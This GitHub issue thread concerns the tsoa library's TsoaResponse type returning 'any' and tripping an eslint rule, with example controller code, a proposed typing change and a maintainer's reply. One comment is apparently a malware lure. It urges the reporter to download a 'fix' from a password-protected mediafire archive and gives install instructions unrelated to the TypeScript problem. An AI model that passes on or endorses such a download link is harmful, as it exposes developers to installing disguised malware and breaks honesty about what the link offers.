Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

TsoaResponse Generic Should Specify BodyType as return value, not any #1665

Closed
2 of 4 tasks
blipk opened this issue Aug 27, 2024 · 3 comments
Closed
2 of 4 tasks

TsoaResponse Generic Should Specify BodyType as return value, not any #1665

blipk opened this issue Aug 27, 2024 · 3 comments
Labels

Comments

@blipk
Copy link

blipk commented Aug 27, 2024

Sorting

  • I'm submitting a ...

    • bug report
    • feature request
    • support request
  • I confirm that I

    • used the search to make sure that a similar issue hasn't already been submit

Current And Expected Behavior

Following the getting started guide on error handling via this page: https://tsoa-community.github.io/docs/error-handling.html

The typing for TsoaReponse should not return any as it fails this eslint rule:
Unsafe return of a value of type `any`.eslint[@typescript-eslint/no-unsafe-return](https://typescript-eslint.io/rules/no-unsafe-return)

This is the code I'm testing with the errored line commented:

import { Get, Route, Tags, Post, Body, Path, Response, SuccessResponse, Controller, Res, TsoaResponse } from "tsoa"
import { User } from "../data/models/models.ts"

// https://tsoa-community.github.io/docs/error-handling.html

interface ValidateErrorJSON {
    message: "Validation failed";
    details: Record<string, unknown>;
}

interface NotFoundResponseBody {
    message: string
}

@Route( "users" )
@Tags( "User" )
export class UserController extends Controller {

    @SuccessResponse( "200", "Found" )
    @Get( "{userId}" )
    public async getUser(
        @Path() userId: number,
        @Res() notFoundResponse: TsoaResponse<404, NotFoundResponseBody>
    ): Promise<User | NotFoundResponseBody> {
        console.log( "looking for users...." )
        this.setStatus( 200 )
        const sqUser = await User.findByPk( userId )
        if ( !sqUser )
            return notFoundResponse( 404, { message: "User not found" } ) // This is a type error [@typescript-eslint/no-unsafe-return](https://typescript-eslint.io/rules/no-unsafe-return)
        return sqUser
    }

    @Response<ValidateErrorJSON>( 422, "Validation Failed" )
    @SuccessResponse( "201", "Created" )
    @Post()
    public async createUser( @Body() user: { name: string; email: string } ): Promise<User> {
        this.setStatus( 201 )
        return User.create( user )
    }
}

To prevent the error I have to coerce the notFoundReponse call like below:
return notFoundResponse( 404, { message: "User not found" } ) as NotFoundResponseBody

Possible Solution

Change the current typing to return BodyType instead of any - like this:
export type TsoaResponse<T extends HttpStatusCodeLiteral, BodyType, HeaderType extends IsValidHeader<HeaderType> = {}> = (status: T, data: BodyType, headers?: HeaderType) => BodyType;

Context (Environment)

Version of the library:

Copy link

Hello there blipk 👋

Thank you for opening your very first issue in this project.

We will try to get back to you as soon as we can.👀

@amir1387aht
Copy link

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@blipk blipk mentioned this issue Sep 6, 2024
4 tasks
Copy link

This issue is stale because it has been open 30 days with no activity. Remove stale label or comment or this will be closed in 5 days

@jackey8616
Copy link
Collaborator

Simply change the definition of TsoaResponse's return may broke the spec generator logics,
since the return type is concrete, the TypeResolver may give spec generator wrong type mixed w/ TsoaResponse's BodyType.

This requires changes on SuccessResponse, Response, and TsoaResponse.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

4 participants
@jackey8616 @blipk @amir1387aht and others